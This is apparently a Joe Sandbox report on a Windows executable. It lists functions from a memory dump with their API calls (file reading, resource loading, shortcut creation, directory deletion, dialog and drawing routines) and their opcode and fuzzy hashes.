Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: _beginthreadex
String ID:
API String ID: 3014514943-0
Opcode ID: 5cedbd00d0b58acbd8f2f67b12d806d60a324f9fe697fccd0a4b4518c7bb1b65
Instruction ID: 07ee00ee9fd24b5c7ccaf45b7f299fd8fb924091db141d3d19c4ab49eb9d3da1
Opcode Fuzzy Hash: 5cedbd00d0b58acbd8f2f67b12d806d60a324f9fe697fccd0a4b4518c7bb1b65
Instruction Fuzzy Hash: 69D017F6800208BFCB01DFA0CC05CEA3BADEB08248B008465BD05C2210E632DA108B61

Function 004123F1 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,00000000,00000000), ref: 00412407

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 8938edae947a69c9db44886959f9dc69aa4ca479dc7ae96bb4d07ee1a96cf5e8
Instruction ID: 9ccc3df45c5337931c1f9920f453614b41e8bb9900b5d069a402b44b4c854426
Opcode Fuzzy Hash: 8938edae947a69c9db44886959f9dc69aa4ca479dc7ae96bb4d07ee1a96cf5e8
Instruction Fuzzy Hash: 99E0EC75201208FFDB01CF90CC01FDE7BBDFB49754F208058E90496160C7759A24EB55

Function 00412260 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?), ref: 00412276

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: c430f725063ded926cf1adce3771649bab367042c849bbcb27380caf4cd98197
Instruction ID: a48faa5ad871c9538198cc58908edd1886e2b5d46e41b8f7632e96d43fd9665f
Opcode Fuzzy Hash: c430f725063ded926cf1adce3771649bab367042c849bbcb27380caf4cd98197
Instruction Fuzzy Hash: D7D02231104B22478160BB6AC8004CF73C69F113343008E1EF465836E0C638FDD182DE

Function 00401198 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 0040119C

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 053bab089f67fb7da11783392dabcaa5bb2c6350295daccf07d3f923137bd5e8
Instruction ID: 80e429c9655060905b03d38468354203b5df30ae66867c399f2ea5f3bf3c7cce
Opcode Fuzzy Hash: 053bab089f67fb7da11783392dabcaa5bb2c6350295daccf07d3f923137bd5e8
Instruction Fuzzy Hash: 87C08C36190203CBC7004F30CC026457BE1BBA0714B6486A8A065C63B0DA3EC448CA01

Function 00401397 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?), ref: 004013A4

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 49818983c7c4313c622f2e86d7746392ff58400d4958ac86d60063aa5157a66c
Instruction ID: 2bfd4fe5492bcf1d3212a322bb009ce45eed1b46813e47afac693d05b876fedf
Opcode Fuzzy Hash: 49818983c7c4313c622f2e86d7746392ff58400d4958ac86d60063aa5157a66c
Instruction Fuzzy Hash: 0BC09B753181049BC718FF21C450817B365AB64714714C85FF84C55547CA3BDC82E618

Function 0041247F Relevance: 1.5, APIs: 1, Instructions: 9timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,?,?,?,004124A9,00000000,00000000,?,004012DC,?), ref: 0041248D

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: a76d94471d75101d3d19dad7ac3713a68ec5cb13f5505408d5a5f3094a28fb24
Instruction ID: f7402770b179a49de0ab9fe0b192ea54849ac29a58fff8f6d7b1295910a8291e
Opcode Fuzzy Hash: a76d94471d75101d3d19dad7ac3713a68ec5cb13f5505408d5a5f3094a28fb24
Instruction Fuzzy Hash: 31C04C36159105FF8F020F70CC04C1ABFA2AB99311F10CA18B155C4074C7328034EB12

Function 004015D8 Relevance: 1.4, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(000001E8,00000000,00000000,?,?,?,?,?,?,00401AD3,?), ref: 004015F7

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 3a0bd8ffb75a7d0c1b376548dc289f793da2ad7584b55b5230689940060f599c
Instruction ID: 576c3123db9d42ad6f26370305c4fe05627a80a4f610c37a806172f0a9a2cc4a
Opcode Fuzzy Hash: 3a0bd8ffb75a7d0c1b376548dc289f793da2ad7584b55b5230689940060f599c
Instruction Fuzzy Hash: C5318271910115ABDB10EFE5CC84CEFB7B8EF48344B15087BE441B72A1D7799E818B69

Function 004128AC Relevance: 1.3, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000060), ref: 00412927

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 6debaf52b1a4c8e37dc45691c4e1b6b73fa31808f858abb765b60bcf64e2121f
Instruction ID: 8d352c1c46fd1df2ac59e7115e7018534418c9226e76046c12a2ea9475f01b4a
Opcode Fuzzy Hash: 6debaf52b1a4c8e37dc45691c4e1b6b73fa31808f858abb765b60bcf64e2121f
Instruction Fuzzy Hash: 3F21C3717142869BCF34FF658A904EB7395AF40314B14462FE482D3201C7B8ADE5CB5E

Function 0041229A Relevance: 1.3, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,00412376,00000000,?,004123BE,?,80000000,?,?,?,004123E0,?,?,00000003,00000080), ref: 004122A5

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: bf632d426777a13286a7d214fabf0ee7930240e4f00ef32643c6c823c72a12ea
Instruction ID: 2edd4d7db1caf844859ff0a1764f07c4c63b16d89aef5b3dab10146b982c9a76
Opcode Fuzzy Hash: bf632d426777a13286a7d214fabf0ee7930240e4f00ef32643c6c823c72a12ea
Instruction Fuzzy Hash: 4DD01231604161468E745E3C7A445D637D85A06370321079BF4B5C32E1D3B58CD35A98

Function 00402A2F Relevance: 1.3, APIs: 1, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,004133A4,?,?,?,0040C03F,?), ref: 00402A4B

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d52152f8240d310394afd4d808f8c2102ad5bdb202a27d84af0ad2d18dcc3f18
Instruction ID: 5872fe86412dcdd468f52b7ecb5979782df8fbe157f8593837c634c381a8cb4c
Opcode Fuzzy Hash: d52152f8240d310394afd4d808f8c2102ad5bdb202a27d84af0ad2d18dcc3f18
Instruction Fuzzy Hash: 5FC08C703483007AEE211B748F0BB4B3653AF84B16F90C029F348B40E0CBF58410AA0A

Function 00412240 Relevance: 1.3, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00004B38), ref: 00412245

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 60ec2abcf5a6396ef8d7bbb53f790590f8d628139c26fe78cb856bdba3517ae4
Instruction ID: 3495fa19a298e49cc2800c4131356790e1569378de7ddbf050defd7ea7821dd7
Opcode Fuzzy Hash: 60ec2abcf5a6396ef8d7bbb53f790590f8d628139c26fe78cb856bdba3517ae4
Instruction Fuzzy Hash: 40B012E474010671AE4420721F132EF20C007D1385F0408B7AA07E42C2FEDCCAE5912F

Function 00401FF0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000,00413333,00000000,?,0041339B,?,?,0040C03F,?), ref: 00402002

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: ef87b2e52dde92dd11102c14b5a17c3afe989afc729bbcebbe3bdea788540431
Instruction ID: 703a6ff84afb8074b9885b8fa9c0ccab1db7962bc4b9572073b4c9a6fb1bc3a6
Opcode Fuzzy Hash: ef87b2e52dde92dd11102c14b5a17c3afe989afc729bbcebbe3bdea788540431
Instruction Fuzzy Hash: 8DB09230285700BAEF224B00DE0DB4A76A0BB80B06F24C428B288240E087B86818DA0E

Non-executed Functions

Function 004092C1 Relevance: 27.1, APIs: 18, Instructions: 144windowcomtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

GetDlgItem.USER32(?,000004B8), ref: 004092EE
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004092FD
GetDlgItem.USER32(?,000004B5), ref: 00409344
GetWindowLongW.USER32(00000000,000000F0), ref: 00409349
GetDlgItem.USER32(?,000004B5), ref: 00409359
SetWindowLongW.USER32(00000000), ref: 0040935C
GetSystemMenu.USER32(?,00000000,000004B4,00000000), ref: 00409382
EnableMenuItem.USER32(00000000,0000F060,00000001), ref: 00409394
GetDlgItem.USER32(?,000004B4), ref: 0040939E
SetFocus.USER32(00000000), ref: 004093A1
SetTimer.USER32(?,00000001,00000000,00000000), ref: 004093D0
CoCreateInstance.OLE32(0041C464,00000000,00000001,0041BD6C,?), ref: 004093F4
GetDlgItem.USER32(?,00000002), ref: 00409411
IsWindow.USER32(00000000), ref: 00409414
GetDlgItem.USER32(?,00000002), ref: 00409424
EnableWindow.USER32(00000000), ref: 00409427
GetDlgItem.USER32(?,000004B5), ref: 0040943B
ShowWindow.USER32(00000000), ref: 0040943E

Part of subcall function 0040819E: GetDlgItem.USER32(?,000004B6), ref: 004081AC

Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
Part of subcall function 00408E76: LoadIconW.USER32(00000000), ref: 00408EA2
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000032), ref: 00408EB6
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000031), ref: 00408EBB
Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
Part of subcall function 00408E76: LoadImageW.USER32(00000000), ref: 00408EC7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F0C
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F16
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F22
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F3F
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F4D
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F59
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: Item$Window$Long$MessageSendSystem$EnableHandleLoadMenuMetricsModuleShow$CreateFocusIconImageInstanceTimer
String ID:
API String ID: 1057135554-0
Opcode ID: ba3a8e7896f853d1d8996d9c4767784286a57f8b05f592c4c5be814e68872b41
Instruction ID: 5db8082ad3932120c1d3ad580c4d4a8d12b10d7a787853330903dc21ac74032f
Opcode Fuzzy Hash: ba3a8e7896f853d1d8996d9c4767784286a57f8b05f592c4c5be814e68872b41
Instruction Fuzzy Hash: E54184B0605708AFDA246F22DD49F6B7B9DFF44B04F00843EF955A62E1CB79A850CA1D

Function 004020BF Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 004020CA
FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 004020E7
FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 004020FB
SizeofResource.KERNEL32(00000000,00000000), ref: 0040210C
LoadResource.KERNEL32(00000000,00000000), ref: 00402116
LockResource.KERNEL32(00000000), ref: 00402121
LoadLibraryA.KERNEL32(kernel32,SetProcessPreferredUILanguages), ref: 0040214D
GetProcAddress.KERNEL32(00000000), ref: 00402156
wsprintfW.USER32 ref: 00402175
LoadLibraryA.KERNEL32(kernel32,SetThreadPreferredUILanguages), ref: 0040218A
GetProcAddress.KERNEL32(00000000), ref: 0040218D

Strings

%04X%c%04X%c, xrefs: 0040216F
kernel32, xrefs: 0040213D, 00402142, 00402189
SetThreadPreferredUILanguages, xrefs: 00402184
SetProcessPreferredUILanguages, xrefs: 00402138

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: Resource$Load$AddressFindLibraryProc$HandleLockModuleSizeofwsprintf
String ID: %04X%c%04X%c$SetProcessPreferredUILanguages$SetThreadPreferredUILanguages$kernel32
API String ID: 2639302590-365843014
Opcode ID: 4509f4e0e8980c838efd414ca7c3a82435c9d4736e02e482c88f6a1a6bb26b48
Instruction ID: 092f3855134823e072dda954e94301c8fdf66ebe7b0f0e4b82829ee13f00460f
Opcode Fuzzy Hash: 4509f4e0e8980c838efd414ca7c3a82435c9d4736e02e482c88f6a1a6bb26b48
Instruction Fuzzy Hash: 7C21B0B5941308BBDB119BA59C08F9B3ABCEB44711F108422FA04E72D0D6B8CD108BA9

Function 004031DC Relevance: 16.6, APIs: 11, Instructions: 90filestringCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,0041A68C,?,?,?,00000000), ref: 0040320B
lstrcmpW.KERNEL32(?,0041A688,?,0000005C,?,?,?,00000000), ref: 0040325E
lstrcmpW.KERNEL32(?,0041A680,?,?,00000000), ref: 00403274
SetFileAttributesW.KERNEL32(?,00000000,?,0000005C,?,?,?,00000000), ref: 0040328A
DeleteFileW.KERNEL32(?,?,?,00000000), ref: 00403291
FindNextFileW.KERNEL32(00000000,00000010,?,?,00000000), ref: 004032A3
FindClose.KERNEL32(00000000,?,?,00000000), ref: 004032B2
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000000), ref: 004032BD
RemoveDirectoryW.KERNEL32(?,?,?,00000000), ref: 004032C6
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 004032D1
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 004032DC

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: File$Find$??3@Attributeslstrcmp$CloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 1862581289-0
Opcode ID: d0a5d61d4e970fa2e12ee4e43d613ab26048e5a8235c629d0d05804913e14dc8
Instruction ID: 78ea6f58b6c007c21ca8543ec41bf80dc5d167b0896979d67dadc0a8fcb0d376
Opcode Fuzzy Hash: d0a5d61d4e970fa2e12ee4e43d613ab26048e5a8235c629d0d05804913e14dc8
Instruction Fuzzy Hash: 86216131601208BADB11AF61EC59EFE3B7CAF44746F1444BAF405B21D1EB389B45CA69

Function 00403B54 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 290comCOMMON

Download Yara Rule

APIs

_wtol.MSVCRT ref: 00403B78
SHGetSpecialFolderPathW.SHELL32(00000000,?,?,00000000,xyg,00000000,0041E9F4), ref: 00403C1B
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00403C8C
??3@YAXPAX@Z.MSVCRT(?,?,?), ref: 00403C94
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 00403C9C
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?), ref: 00403CA4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?), ref: 00403CAC
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 00403CB4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403CBC
_wtol.MSVCRT ref: 00403D12
CoCreateInstance.OLE32(0041C454,00000000,00000001,0041C414,[@,.lnk,?,0000005C), ref: 00403DB3
??3@YAXPAX@Z.MSVCRT(?,0000005C), ref: 00403E4B
??3@YAXPAX@Z.MSVCRT(?,?,0000005C), ref: 00403E53
??3@YAXPAX@Z.MSVCRT(?,?,?,0000005C), ref: 00403E5B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0000005C), ref: 00403E63
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,0000005C), ref: 00403E6B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,0000005C), ref: 00403E73
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,0000005C), ref: 00403E7B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,0000005C), ref: 00403E81
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0000005C), ref: 00403E89

Strings

xyg, xrefs: 00403BF8
.lnk, xrefs: 00403D92
[@, xrefs: 00403B65, 00403D9F, 00403DC1, 00403E13, 00403E3F, 00403E06, 00403DF5, 00403DE4, 00403DD3, 00403B77, 00403C7C, 00403DA2, 00403DCA, 00403DDB, 00403DEC, 00403DFD, 00403E0F, 00403E21, 00403E44

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@$_wtol$CreateFolderInstancePathSpecial
String ID: .lnk$xyg$[@
API String ID: 408529070-2430943817
Opcode ID: bf0e8a7df910328bb8376132718844ce6bb33e016dc20b09a56e47b2bf9c17d8
Instruction ID: 946a9f5c9c0093345211e4afafb7f9b8cfdd3f629f77b347e180bd11e348c725
Opcode Fuzzy Hash: bf0e8a7df910328bb8376132718844ce6bb33e016dc20b09a56e47b2bf9c17d8
Instruction Fuzzy Hash: 57A16E75810108ABCF15EFA1CC969EEBB7DFF19306F50442AF402B61A1EB399E41CB58

Function 004021A8 Relevance: 31.6, APIs: 21, Instructions: 121windowCOMMON

Download Yara Rule

APIs

GetWindowDC.USER32(00000000), ref: 004021B4
GetDeviceCaps.GDI32(00000000,00000058), ref: 004021C0
MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004021D9
GetObjectW.GDI32(?,00000018,?), ref: 00402208
MulDiv.KERNEL32(?,00000003,00000002), ref: 00402213
MulDiv.KERNEL32(?,00000003,00000002), ref: 0040221D
CreateCompatibleDC.GDI32(?), ref: 0040222B
CreateCompatibleDC.GDI32(?), ref: 00402232
SelectObject.GDI32(00000000,?), ref: 00402240
CreateCompatibleBitmap.GDI32(?,?,?), ref: 0040224E
SelectObject.GDI32(00000000,00000000), ref: 00402256
SetStretchBltMode.GDI32(00000000,00000004), ref: 0040225E
StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0040227D
GetCurrentObject.GDI32(00000000,00000007), ref: 00402286
SelectObject.GDI32(00000000,?), ref: 00402293
SelectObject.GDI32(00000000,?), ref: 00402299
DeleteDC.GDI32(00000000), ref: 004022A2
DeleteDC.GDI32(00000000), ref: 004022A5
ReleaseDC.USER32(00000000,?), ref: 004022AC
ReleaseDC.USER32(00000000,?), ref: 004022BB
CopyImage.USER32(?,00000000,00000000,00000000,00000000), ref: 004022C8

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: Object$Select$CompatibleCreate$DeleteReleaseStretch$BitmapCapsCopyCurrentDeviceImageModeWindow
String ID:
API String ID: 3462224810-0
Opcode ID: 3220a658d56a4ac9a5ca2fef4fc815231d73787dff14446d5a04d435e3e7e9ea
Instruction ID: 3b0073103a1e3377af01ca77c53c0656b208625dbf3d379900f4631a354f9c66
